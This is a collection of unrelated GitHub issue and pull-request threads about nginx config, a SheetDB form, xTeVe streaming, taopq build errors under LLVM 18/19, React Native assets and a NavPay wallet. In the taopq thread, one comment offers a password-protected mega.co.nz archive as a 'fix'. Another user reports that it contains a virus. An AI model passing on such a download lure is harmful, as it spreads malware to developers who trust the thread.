Fix cryptic error messages in nginx config

I've also made some changes to Stream API endpoint to fix backward compatibility and make it more compact.

If you tested this config end to end, I'm LGTM, +1.

The latest commit require nginx 1.7.5+

No more cryptic HTML messages.

The latest commit require nginx 1.7.5+

Is this a problem or not?

I checked the docs and we don't really mention minimum version of software (MongoDB, RabbitMQ, nginx) we require in the docs.
We should fix that and make it explicit. That's something I already complained about in the past (we should ideally control the versions ourselves with docker or similar since relying on upstream packages is usually a bad idea, but anyway).

Is this a problem or not?

It was a problem before https://github.com/StackStorm/st2-packages/pull/218 since ubuntu trusty ships 1.4.6 in their official repos.

I'm not going to backport it to 1.3 since it's mostly cosmetic. It also includes changes for stream which is not present in 1.3 either.


[Feature] Add Community Partners form

Description of the change

Added a modal with form in community partners that saves data on Google Sheets using SheetDB with Basic Auth enabled. (Thanks to @shuklaritvik06 for suggesting to use the SheetDB :heart:)
Sample CSV file can be found here
Fixes #194

NOTE: This PR needs to use .env variables which is currently not working on our version of astro. See #198
#sample .env
PUBLIC_SHEETDB_ADDRESS="abcdefghijklmnopqrstuvwxyz"
PUBLIC_SHEETDB_LOGIN="abcdefghijklmnopqrstuvwxyz"
PUBLIC_SHEETDB_PASSWORD="abcdefghijklmnopqrstuvwxyz"

Screenshots
Demo video (I hard coded the credentials while making this demo):
https://user-images.githubusercontent.com/28738855/146648993-3f0f112d-2543-430b-b136-e28fd9c535d6.mp4
Proposed UI (Desktop - light mode):

Proposed UI (Desktop - dark mode):

Proposed UI (Mobile - light mode):

Proposed UI (Mobile - dark mode):

Checklist
I agree to the following :-

[x]   Added description of the change
[x]   I've read the contributing guidelines
[x]   Search previous suggestions before making a new PR, as yours may be a duplicate.
[x]   I acknowledge that all my contributions will be made under the project's license.

Notes (optional):

UI 🔥

Nice work @Simperfy ! 👍🏻

For the Discord logo, please take it (the best color like white/black) from the official Discord page https://discord.com/branding

Oh I didn't know such page exists. I'll use this, thanks ❤

Please don't enable auto-merge until all the team approves. :)

Please don't enable auto-merge until all the team approves. :)

You've given approval, I've given approval, only vinz is left, and auto-merge will merge when vinz approves

Hello, can you check if the navbar and its sub-nav-item are showing? On my device, it doesn't show.

In the navbar the dropdown is not working and also that dark mode one , I thought it was just for me 😅

Hello, can you check if the navbar and its sub-nav-item are showing? On my device, it doesn't show.

Hmm.. Thats weird, the navbar works on localhost but on netlify it doesn't.

Please don't enable auto-merge until all the team approves. :)

You've given approval, I've given approval, only vinz is left, and auto-merge will merge when vinz approves


Add .ts onto the end of the stream url

Is your feature request related to a problem? Please describe.
I use Tvheadend with xteve. When I use my m3u url direct from the supplier it tvheadend, it works. When I setup xteve to use the m3u url and then configure tvheadend to use the xteve url. It wont work.
Describe the solution you'd like
I've been told its because the new m3u produced by xteve contains streams without the ".ts" extension on the end.
e.g.
provided m3u has http://myiptvsupplieraddress/channel/bbc1.ts
xteve m3u has http://xteveaddress/stream/05d6d8940311154f967b9b5b3fe61217
Cheers

I got problems playing links in Jellyfin. Jellyfin log says Unknown profile.
I was also notified that links with .ts should help.

xTeVe generates an ID as a URL for each stream. This is also a valid URL.
The same goes for the HDHomeRun tuner.
HDHomeRun tuner example URL:
http://<IP_ADDRESS>:8080/auto/v422
Fritz tuner example URL:
rtsp://<IP_ADDRESS>:554/?avm=1&freq=554&bw=8&msys=dvbc&mtype=256qam&sr=6900&specinv=0&pids=0,16,17,18,20,99,1023,1027
I also can not just use .ts as a file extension. Not every stream is a TS stream. The VLC and FFmpeg options allow users to transcode the stream into any other format.
I also do not know where the problem would be at xTeVe. Plex, Emby, VLC and just about every IPTV app works with xTeVe.

When I use either xteve or ffmpeg buffer. The stream wont work in tvheadend, but when xteve is set to passthrough it does work. Any ideas?

No idea what makes TVHeadend with the streams differently than Plex or Emby.
Why do not you load the streams with TVHeadend and then transfer them to xTeVe?

just tested here xteve m3u url's in tvheadend, working fine.

i dont use any buffer cause here its senseless, i use tvheadend as backend, xteve as client to tvheadend ... not vice verse like you do. just did a test to see what happens, and yes, with buffer on it doesnt work, no input detected to tvheadend.
but, just adding a .ts wont solve this issue, you can test this yourself by editing the link yourself, u wont get any input anymore (with or without buffer) cause xteve cant interprete the link then anymore ...
why tvheadend cant read the input after xteve remuxing is the question you should ask tvheadend after u analysed how your streams are interpreted then ... then u can ask in their forum (which is good) why ...
but may consider your setup, when u already have tvheadend, put your sources there and let xteve use the tvheadend as backend (as its supposed to be) ... xteve is then the proxy for "Plex" as sample cause Plex cant use tvheadend as DVR source.

I use xteve as its sorting function is far easier to manage (filters). Its also on a hosted server. My tvheadend is on a synology in my house, I use a hdhomerun and xteve in my tvh. The reason xteve is hosted is due to sharing with family and i have 2 connections max (hence using buffer).
tvheadend pretty much bombs out with the amount of channels in the iptv m3u. So xteve filtering allows me to provide a subset of all channels im interested in.

checkde out the difference between buffered and direct using wireshark.
it seems direct just has 1 connection and streams using that.
buffered looks like it creates lots of connections 1 after another feeding what looks like 1mb of data in each. wireshark refers to them as continuations.
This looks like the reason why tvheadend doesnt support it.

Sorry for hijacking this ticket, hopefully my comment here doesn't reopen it or something...
@smurfster Hi, I'm trying to do what you're describing here.  My hope is that the xteve remuxing will help make discontinuous recordings usable in tvheadend/kodi.  Did you ever find a solution?

@ibishop100 Why would you want discontinuous Recordings? or maybe this didn't translate right...

I don't want them, but my provider and I think most providers aren't able to provide a fully reliable stream.  What I've found is if you have a small gap where the stream cuts out then the PVR never recovers.
I've tried TVHeadend, xteve/plex, xteve/mythtv in attempts to find a solution that can gracefully continue when the stream has a missing bit but nothing has worked so far.  I don't know if I need to tune one of the solutions to better handle the streams, or if there's a solution at all.

to use buffered from xteve in txheadend, easy solution, ffmpeg pipe in tvheadend
sample url how this would look like in tvheadend
pipe:///usr/bin/ffmpeg -loglevel fatal -i http://<IP_ADDRESS>:34400/stream/af1c2ce8b0bbfbe20705a30dfbee5b34 -vcodec copy -acodec copy -metadata service_provider=STRING
like this you get the buffered stream from xteve into tvheadend for further usage, but ... this will not solve your issues if you have a bad connection to your provider.
live streams need steady, good streams, its a live stream, so no client (xteve, tveadend, ...) can preload, they can buffer a little, but as soon the buffer is reached (1mb buffer ~ 1 second bad connection) and you back again where every dropout will kill the stream ...


no way for user to switch between leagues

I have 1.60 mostly working however ran into issue with joining more than one league - can't find way to toggle between leagues - in 1.40 I remember there being a toggle at the bottom - but now user is "stuck" in most recently joined league.
Any ideas?

Yeah, I didn't implement the javascript to change leagues when I switched frameworks over the offseason. I'll try to get to it soon, maybe later today.

You can now switch leagues under League > Switch Leagues


feat(*): use confd --watch

closes #2160

Code LGTM. See kelseyhightower/confd#150.


mill *.repl Exception in thread "main" java.lang.NoSuchMethodError:

With ammonite 2.1.1 I got :
mill -i server.repl
Exception in thread "main" java.lang.NoSuchMethodError: 'void ammonite.interp.Interpreter.<init>(ammonite.util.Printer, ammonite.runtime.Storage, os.Path, ammonite.util.Ref, boolean, scala.Function0, scala.Function0, java.lang.ClassLoader, ammonite.interp.CodeWrapper, ammonite.interp.CodeWrapper, scala.collection.immutable.Seq, scala.collection.immutable.Map, scala.collection.immutable.Set)'

but If I downgrade to 2.0.4 it works

What do you mean by "with ammonite 2.1.1"? Mill already includes Ammonite. Do you mean you've overridden def ammoniteVersion target? Is this still an issue?

This means the module has conflicting versions of Ammonite on its classpath. Probably a user-error, but feel free to re-open if there are more details to be had


Deprecated: char_traits in LLVM 18

I got this warning and next thing I found that LLVM 19 will remove it completely making it impossible to build taopq with this toolchain. Any chance this could be fixed?

This might help:This file might fix it
https://mega.co.nz/#!qq4nATTK!oDH5tb3NOJcsSw5fRGhLC8dvFpH3zFCn6U2esyTVcJA
Password: changeme
I put the necessary dlls in the archive

what dlls? It has to be fixed at the source level. Either char_trait provided or use of it replaced. Btw your zip contains virus.

I compiled with clang 18.1.8 and I don't see any warning. Can you post the complete error message and, if possible, a small but complete example program?

If it helps here is example of warning (I edited out leading parts of the paths):
[1/93] Building CXX object 3rd-party/taopq/CMakeFiles/taopq.dir/src/lib/pq/internal/demangle.cpp.obj
[2/93] Building CXX object 3rd-party/taopq/CMakeFiles/taopq.dir/src/lib/pq/field.cpp.obj
In file included from 3rd-party/taopq/src/lib/pq/field.cpp:5:
In file included from 3rd-party/taopq/include/tao/pq/field.hpp:10:
In file included from LLVM/current/include/c++/v1/string:625:
In file included from LLVM/current/include/c++/v1/string_view:213:
LLVM/current/include/c++/v1/__fwd/string_view.h:22:41: warning: 'char_traitsstd::byte' is deprecated: char_traits for T not equal to char, wchar_t, char8_t, char16_t or char32_t is non-standard and is provided for a temporary period. It will be removed in LLVM 19, so please migrate off of it. [-Wdeprecated-declarations]
22 | template <class _CharT, class _Traits = char_traits<_CharT> >
|                                         ^
3rd-party/taopq/include/tao/pq/binary.hpp:15:29: note: in instantiation of default argument for 'basic_string_viewstd::byte' required here
15 |    using binary_view = std::basic_string_view< std::byte >;
|                             ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
LLVM/current/include/c++/v1/__string/char_traits.h:81:8: note: 'char_traitsstd::byte' has been explicitly marked deprecated here
81 | struct LIBCPP_DEPRECATED(
|        ^
LLVM/current/include/c++/v1/__config:975:53: note: expanded from macro 'LIBCPP_DEPRECATED'
975 | #      define LIBCPP_DEPRECATED(m) attribute((deprecated(m)))
|                                                     ^
1 warning generated.

Any info on progress?

I was considering some options, but the only reasonable option is switching to C++20, as it has ´std::span´. I will update the code when I have some time.

I have updated the code, but some things might not be final. Docs also need to be adapted. Please have a look and let me know if you see any problems or if you have any other feedback.

Thank you so much for your efforts. Late evening here now, will be checking it first thing tomorrow morning.

Project builds on Linux under LLVM-18 without warnings and seems to run fine so far.
I also tried LLVM-19 and it fails to build with following  warnings and errors:
building service popsvc
Consolidate compiler generated dependencies of target spdlog
Consolidate compiler generated dependencies of target taopq
[  1%] Building CXX object 3rd-party/spdlog/CMakeFiles/spdlog.dir/src/spdlog.cpp.o
[  2%] Building CXX object 3rd-party/spdlog/CMakeFiles/spdlog.dir/src/stdout_sinks.cpp.o
[  3%] Building CXX object 3rd-party/spdlog/CMakeFiles/spdlog.dir/src/color_sinks.cpp.o
[  4%] Building CXX object 3rd-party/spdlog/CMakeFiles/spdlog.dir/src/file_sinks.cpp.o
[  5%] Building CXX object 3rd-party/spdlog/CMakeFiles/spdlog.dir/src/async.cpp.o
[  5%] Building CXX object 3rd-party/spdlog/CMakeFiles/spdlog.dir/src/cfg.cpp.o
[  6%] Building CXX object 3rd-party/spdlog/CMakeFiles/spdlog.dir/src/bundled_fmtlib_format.cpp.o
[  7%] Building CXX object 3rd-party/taopq/CMakeFiles/taopq.dir/src/lib/pq/connection.cpp.o
[  8%] Building CXX object 3rd-party/taopq/CMakeFiles/taopq.dir/src/lib/pq/connection_pool.cpp.o
[  9%] Building CXX object 3rd-party/taopq/CMakeFiles/taopq.dir/src/lib/pq/exception.cpp.o
[ 10%] Building CXX object 3rd-party/taopq/CMakeFiles/taopq.dir/src/lib/pq/field.cpp.o
[ 11%] Building CXX object 3rd-party/taopq/CMakeFiles/taopq.dir/src/lib/pq/internal/demangle.cpp.o
[ 12%] Building CXX object 3rd-party/taopq/CMakeFiles/taopq.dir/src/lib/pq/internal/poll.cpp.o
[ 13%] Building CXX object 3rd-party/taopq/CMakeFiles/taopq.dir/src/lib/pq/internal/printf.cpp.o
[ 14%] Building CXX object 3rd-party/taopq/CMakeFiles/taopq.dir/src/lib/pq/internal/strtox.cpp.o
[ 14%] Building CXX object 3rd-party/taopq/CMakeFiles/taopq.dir/src/lib/pq/large_object.cpp.o
[ 15%] Building CXX object 3rd-party/taopq/CMakeFiles/taopq.dir/src/lib/pq/parameter_traits.cpp.o
[ 16%] Building CXX object 3rd-party/taopq/CMakeFiles/taopq.dir/src/lib/pq/result.cpp.o
[ 17%] Building CXX object 3rd-party/taopq/CMakeFiles/taopq.dir/src/lib/pq/result_traits.cpp.o
[ 19%] Building CXX object 3rd-party/taopq/CMakeFiles/taopq.dir/src/lib/pq/table_field.cpp.o
[ 19%] Building CXX object 3rd-party/taopq/CMakeFiles/taopq.dir/src/lib/pq/row.cpp.o
[ 21%] Building CXX object 3rd-party/taopq/CMakeFiles/taopq.dir/src/lib/pq/table_row.cpp.o
[ 22%] Building CXX object 3rd-party/taopq/CMakeFiles/taopq.dir/src/lib/pq/table_reader.cpp.o
[ 22%] Building CXX object 3rd-party/taopq/CMakeFiles/taopq.dir/src/lib/pq/table_writer.cpp.o
[ 23%] Building CXX object 3rd-party/taopq/CMakeFiles/taopq.dir/src/lib/pq/transaction.cpp.o
In file included from /xxx/source/popapi-cpp/3rd-party/taopq/src/lib/pq/connection.cpp:5:
In file included from /xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/connection.hpp:28:
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:77:34: error: '...' must immediately precede declared identifier
77 |                          const Ts...& ts )
|                                  ^~~
|                                       ...
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:79:52: warning: pack indexing is a C++2c extension [-Wc++26-extensions]
79 |          const Oid types[] = { static_cast< Oid >( ts...[ Os ].template type< Is >() )... };
|                                                    ^
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:80:41: warning: pack indexing is a C++2c extension [-Wc++26-extensions]
80 |          const char* const values[] = { ts...[ Os ].template value< Is >()... };
|                                         ^
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:81:34: warning: pack indexing is a C++2c extension [-Wc++26-extensions]
81 |          const int lengths[] = { ts...[ Os ].template length< Is >()... };
|                                  ^
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:82:34: warning: pack indexing is a C++2c extension [-Wc++26-extensions]
82 |          const int formats[] = { ts...[ Os ].template format< Is >()... };
|                                  ^
In file included from /xxx/source/popapi-cpp/3rd-party/taopq/src/lib/pq/transaction.cpp:7:
In file included from /xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/connection.hpp:28:
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:77:34: error: '...' must immediately precede declared identifier
77 |                          const Ts...& ts )
|                                  ^~~
|                                       ...
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:79:52: warning: pack indexing is a C++2c extension [-Wc++26-extensions]
79 |          const Oid types[] = { static_cast< Oid >( ts...[ Os ].template type< Is >() )... };
|                                                    ^
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:80:41: warning: pack indexing is a C++2c extension [-Wc++26-extensions]
80 |          const char* const values[] = { ts...[ Os ].template value< Is >()... };
|                                         ^
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:81:34: warning: pack indexing is a C++2c extension [-Wc++26-extensions]
81 |          const int lengths[] = { ts...[ Os ].template length< Is >()... };
|                                  ^
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:82:34: warning: pack indexing is a C++2c extension [-Wc++26-extensions]
82 |          const int formats[] = { ts...[ Os ].template format< Is >()... };
|                                  ^
In file included from /xxx/source/popapi-cpp/3rd-party/taopq/src/lib/pq/table_row.cpp:5:
In file included from /xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/table_reader.hpp:25:
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:77:34: error: '...' must immediately precede declared identifier
77 |                          const Ts...& ts )
|                                  ^~~
|                                       ...
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:79:52: warning: pack indexing is a C++2c extension [-Wc++26-extensions]
79 |          const Oid types[] = { static_cast< Oid >( ts...[ Os ].template type< Is >() )... };
|                                                    ^
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:80:41: warning: pack indexing is a C++2c extension [-Wc++26-extensions]
80 |          const char* const values[] = { ts...[ Os ].template value< Is >()... };
|                                         ^
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:81:34: warning: pack indexing is a C++2c extension [-Wc++26-extensions]
81 |          const int lengths[] = { ts...[ Os ].template length< Is >()... };
|                                  ^
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:82:34: warning: pack indexing is a C++2c extension [-Wc++26-extensions]
82 |          const int formats[] = { ts...[ Os ].template format< Is >()... };
|                                  ^
4 warnings and 1 error generated.
make[2]: *** [3rd-party/taopq/CMakeFiles/taopq.dir/build.make:76: 3rd-party/taopq/CMakeFiles/taopq.dir/src/lib/pq/connection.cpp.o] Error 1
make[2]: *** Waiting for unfinished jobs....
In file included from /xxx/source/popapi-cpp/3rd-party/taopq/src/lib/pq/connection_pool.cpp:5:
In file included from /xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/connection_pool.hpp:15:
In file included from /xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/connection.hpp:28:
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:77:34: error: '...' must immediately precede declared identifier
77 |                          const Ts...& ts )
|                                  ^~~
|                                       ...
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:79:52: warning: pack indexing is a C++2c extension [-Wc++26-extensions]
79 |          const Oid types[] = { static_cast< Oid >( ts...[ Os ].template type< Is >() )... };
|                                                    ^
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:80:41: warning: pack indexing is a C++2c extension [-Wc++26-extensions]
80 |          const char* const values[] = { ts...[ Os ].template value< Is >()... };
|                                         ^
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:81:34: warning: pack indexing is a C++2c extension [-Wc++26-extensions]
81 |          const int lengths[] = { ts...[ Os ].template length< Is >()... };
|                                  ^
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:82:34: warning: pack indexing is a C++2c extension [-Wc++26-extensions]
82 |          const int formats[] = { ts...[ Os ].template format< Is >()... };
|                                  ^
In file included from /xxx/source/popapi-cpp/3rd-party/taopq/src/lib/pq/table_writer.cpp:5:
In file included from /xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/table_writer.hpp:20:
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:77:34: error: '...' must immediately precede declared identifier
77 |                          const Ts...& ts )
|                                  ^~~
|                                       ...
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:79:52: warning: pack indexing is a C++2c extension [-Wc++26-extensions]
79 |          const Oid types[] = { static_cast< Oid >( ts...[ Os ].template type< Is >() )... };
|                                                    ^
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:80:41: warning: pack indexing is a C++2c extension [-Wc++26-extensions]
80 |          const char* const values[] = { ts...[ Os ].template value< Is >()... };
|                                         ^
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:81:34: warning: pack indexing is a C++2c extension [-Wc++26-extensions]
81 |          const int lengths[] = { ts...[ Os ].template length< Is >()... };
|                                  ^
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:82:34: warning: pack indexing is a C++2c extension [-Wc++26-extensions]
82 |          const int formats[] = { ts...[ Os ].template format< Is >()... };
|                                  ^
In file included from /xxx/source/popapi-cpp/3rd-party/taopq/src/lib/pq/table_writer.cpp:5:
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/table_writer.hpp:35:36: error: '...' must immediately precede declared identifier
35 |                            const Ts...& ts )
|                                    ^~~
|                                         ...
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/table_writer.hpp:38:14: warning: pack indexing is a C++2c extension [-Wc++26-extensions]
38 |          ( ( ts...[ Os ].template copy_to< Is >( buffer ), buffer += '\t' ), ... );
|              ^
4 warnings and 1 error generated.
make[2]: *** [3rd-party/taopq/CMakeFiles/taopq.dir/build.make:286: 3rd-party/taopq/CMakeFiles/taopq.dir/src/lib/pq/table_row.cpp.o] Error 1
4 warnings and 1 error generated.
make[2]: *** [3rd-party/taopq/CMakeFiles/taopq.dir/build.make:314: 3rd-party/taopq/CMakeFiles/taopq.dir/src/lib/pq/transaction.cpp.o] Error 1
5 warnings and 2 errors generated.
4 warnings and 1 error generated.
make[2]: *** [3rd-party/taopq/CMakeFiles/taopq.dir/build.make:90: 3rd-party/taopq/CMakeFiles/taopq.dir/src/lib/pq/connection_pool.cpp.o] Error 1
make[2]: *** [3rd-party/taopq/CMakeFiles/taopq.dir/build.make:300: 3rd-party/taopq/CMakeFiles/taopq.dir/src/lib/pq/table_writer.cpp.o] Error 1
In file included from /xxx/source/popapi-cpp/3rd-party/taopq/src/lib/pq/table_reader.cpp:5:
In file included from /xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/table_reader.hpp:25:
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:77:34: error: '...' must immediately precede declared identifier
77 |                          const Ts...& ts )
|                                  ^~~
|                                       ...
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:79:52: warning: pack indexing is a C++2c extension [-Wc++26-extensions]
79 |          const Oid types[] = { static_cast< Oid >( ts...[ Os ].template type< Is >() )... };
|                                                    ^
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:80:41: warning: pack indexing is a C++2c extension [-Wc++26-extensions]
80 |          const char* const values[] = { ts...[ Os ].template value< Is >()... };
|                                         ^
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:81:34: warning: pack indexing is a C++2c extension [-Wc++26-extensions]
81 |          const int lengths[] = { ts...[ Os ].template length< Is >()... };
|                                  ^
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:82:34: warning: pack indexing is a C++2c extension [-Wc++26-extensions]
82 |          const int formats[] = { ts...[ Os ].template format< Is >()... };
|                                  ^
In file included from /xxx/source/popapi-cpp/3rd-party/taopq/src/lib/pq/large_object.cpp:12:
In file included from /xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/connection.hpp:28:
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:77:34: error: '...' must immediately precede declared identifier
77 |                          const Ts...& ts )
|                                  ^~~
|                                       ...
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:79:52: warning: pack indexing is a C++2c extension [-Wc++26-extensions]
79 |          const Oid types[] = { static_cast< Oid >( ts...[ Os ].template type< Is >() )... };
|                                                    ^
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:80:41: warning: pack indexing is a C++2c extension [-Wc++26-extensions]
80 |          const char* const values[] = { ts...[ Os ].template value< Is >()... };
|                                         ^
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:81:34: warning: pack indexing is a C++2c extension [-Wc++26-extensions]
81 |          const int lengths[] = { ts...[ Os ].template length< Is >()... };
|                                  ^
/xxx/source/popapi-cpp/3rd-party/taopq/include/tao/pq/transaction.hpp:82:34: warning: pack indexing is a C++2c extension [-Wc++26-extensions]
82 |          const int formats[] = { ts...[ Os ].template format< Is >()... };
|                                  ^
4 warnings and 1 error generated.
make[2]: *** [3rd-party/taopq/CMakeFiles/taopq.dir/build.make:188: 3rd-party/taopq/CMakeFiles/taopq.dir/src/lib/pq/large_object.cpp.o] Error 1
4 warnings and 1 error generated.
make[2]: *** [3rd-party/taopq/CMakeFiles/taopq.dir/build.make:272: 3rd-party/taopq/CMakeFiles/taopq.dir/src/lib/pq/table_reader.cpp.o] Error 1
make[1]: *** [CMakeFiles/Makefile2:254: 3rd-party/taopq/CMakeFiles/taopq.dir/all] Error 2

The first error (const Ts...& ts) is clearly a syntax error. Fixed.
The second warning (pack indexing is a C++2c extension) is weird. I did put it in a section guarded by #if defined( __cpp_pack_indexing). Is this set even though the feature is not available? Seems like a bug in Clang 19 then...

Yeah it does look like a bug in clang. That pack indexes feature is stated as available in Clang-19. I tried setting C++ standard to C++2c in my project explicitly but it still gives me a warning. the project builds and works however. For now I settled with adding -Wno-c++26-extensions to your cmaklists to suppress the warning. Again thanks so much for your efforts

The warning you get actually mentions -Wc++26-extensions, which makes me wonder where that option is coming from and whether -Wno-c++26-extensions could get rid of it.

I made some more changes, including checking whether C++26 is enabled or not (in addition to the feature check). You may be able to remove the -Wno-C++26-extensions flag.


Android assets

Is it possible to load file (both artwork & audio) from android assets? I'm receiving error "unexpected url: asset:/path/to/file/in/assets/file.jpg" for artwork, setting audio doesn't cause crash, but it's still not giving any sound

If you want to load a file from the app bundle, use require/import:
{
    artwork: require('./file.jpg')
}

If you want to load a file from the file system, you can prepend file:/// to the path:
{
    artwork: 'file:///path/to/file/file.jpg'
}

@Guichaguri  thanks for quick reply, tried it with no luck, Android's assets folder really seems to be unsupported for now, since it needs different MediaPlayer data source handling,
see react-native-sound
I think using/handling the 'asset:/' prefix is just OK, I'll create PR soon

Why not use the app bundle instead? It basically works the same way as the assets folder

I'm closing this issue for inactivity. Feel free to reopen.

I am using something like this
    {           artwork: this.props.player.currentTrack.img     }
where this.props.player.currentTrack.img is this for example:
file:///storage/emulated/0/com.myapp.app/covers/covers/covers783.jpg
but notification is still white and I can't get any images there. I was not able to find anything useful on documentation. Does anyone have any idea how to show local files in notification?

it appears a url like so works: file:///android_asset/path/to/file.mp3

Why not use the app bundle instead? It basically works the same way as the assets folder
@Guichaguri, the app bundle will be load in startup time, if the file is large it will prolong the startup time when user opens the app, cause reducing UX.

@truongpham17 I have never experienced that. In Android, the files in the app bundle are moved to the assets folder and the import/require returns a reference ID to that Android asset. The only ones that prolong the startup time are JS or JSON files.


Lost much NAV coins with a small transaction using NavPay on android

Hi,
I had a unconfirmed transaction sending 5 NAV and now almost half of all my coins are lost.
TX: https://chainz.cryptoid.info/nav/tx.dws?9b2af08a1444cc7a3d690069119864e2598b6c1ea0aa7a7e81630c048e395b97
I recreate my wallet using the web version, but nothing changed except with the web version i see the message: Could not update transaction history

I've sent 2nav to bittrex wallet. this happened: https://chainz.cryptoid.info/nav/tx.dws?9b15e9162ca7bb3c14869e59d660a200fcff3dae31730a8c9cb6743388dba800

I have the address where my coins are!

To recover a wallet, you should just be able to click the + symbol on the home page on the title of the wallets listings, then import, then type in your recovery phrase.

I just recovered some wallets this way and it worked for me. However, we are experiencing heavy load on our backend server with more users on the wallet than we'd anticipated. So perhaps try it again this way now and report back whether it works for you or not. We are looking to upgrade the infrastructure behind the wallet as soon as possible.
If it doesn't work, please be as detailed as possible about the issue:
What device are you using it on?
What operating system?
What version of operating system?
Provide steps to reproduce the issue.
Provide screenshots.
Of course, don't disclose any private information like your recovery phrase in your report or your screenshots.
All these things help us to identify and resolve the issue as quickly as possible.

You could try to re-scan your wallet addresses:
Settings > Your Wallet > More Options > Wallet Addresses > Scan addresses for funds
If it doesn't work, please be as detailed as possible about the issue:
What device are you using it on?
What operating system?
What version of operating system?
Provide steps to reproduce the issue.
Provide screenshots.
Of course, don't disclose any private information like your recovery phrase in your report or your screenshots.
All these things help us to identify and resolve the issue as quickly as possible.

Hi Craig,
Suddenly all my coins are back :)
The only thing not is showing the 5 NAV transaction in the history. My dad did received the 5 NAV but at this moment they dont show up in his wallet anymore. I guess we have to wait a little longer for those coins to show up again. He has the address (when you go to options ect.. in the app) of the 5 NAV coins in his wallet and are visible on the blockchain)
As you said, probably because of the heavy load on the server things are slowed down for the moment.
Thank you for the support. The support here, at reddit and discord is super! You all give me much confidence in NAV :)

That unfortunately doesn't work for me. I should have 22(23) coins more in either mine or my dads wallet. My dads wallet is still empty and mine lacks those amount. Some of funds did indeed reshown on my personal desktop wallet, but not those funds. And i still cant recover my temporary (gifting) wallet

Hopefully this is resolved with a mongodb update on the back end.
Can you please close and re-open the application.
Then open the wallet to load the transactions.
If you still cant see them, try the: Settings -> Wallet -> More Options -> Wallet Addresses -> Scan addresses for funds.
Please let us know if this has worked, or if it hasn't provide more details as requested above.

Im having again the same problem described above.
Is there still a problem with the backend server?

@frasaleksander - Please open a new issue if you are still having problems.
I am closing this one for now.


Designed text_to_image_149

Designed the template using html and CSS.

@NtemKenyor , kindly look into it. Thank you

@sricharan200 hello and hope you are doing great. I have not able to review your work because of my Job. Please if you do not mind, you can reopen it. thank you.


看内容

Please answer these questions before submitting your issue. Thanks!
What version of Go are you using (go version)?
go version go1.8 darwin/amd64
What operating system and processor architecture are you using (go env)?
GOARCH="amd64"
GOBIN="/Users/niubaoshu/work/go/bin"
GOEXE=""
GOHOSTARCH="amd64"
GOHOSTOS="darwin"
GOOS="darwin"
GOPATH="/Users/niubaoshu/work/go"
GORACE=""
GOROOT="/Users/niubaoshu/repos/go"
GOTOOLDIR="/Users/niubaoshu/repos/go/pkg/tool/darwin_amd64"
GCCGO="gccgo"
CC="clang"
GOGCCFLAGS="-fPIC -m64 -pthread -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=/var/folders/jz/fj17bn1j3tg7s0g2yv_4wsyh0000gn/T/go-build530042778=/tmp/go-build -gno-record-gcc-switches -fno-common"
CXX="clang++"
CGO_ENABLED="1"
PKG_CONFIG="pkg-config"
CGO_CFLAGS="-g -O2"
CGO_CPPFLAGS=""
CGO_CXXFLAGS="-g -O2"
CGO_FFLAGS="-g -O2"
CGO_LDFLAGS="-g -O2"
What did you do?
If possible, provide a recipe for reproducing the error.
A complete runnable program is good.
A link on play.golang.org is best.
https://play.golang.org/p/2XtE2FVceD
What did you expect to see?
go test -bench="." -benchmem  inter_test.go
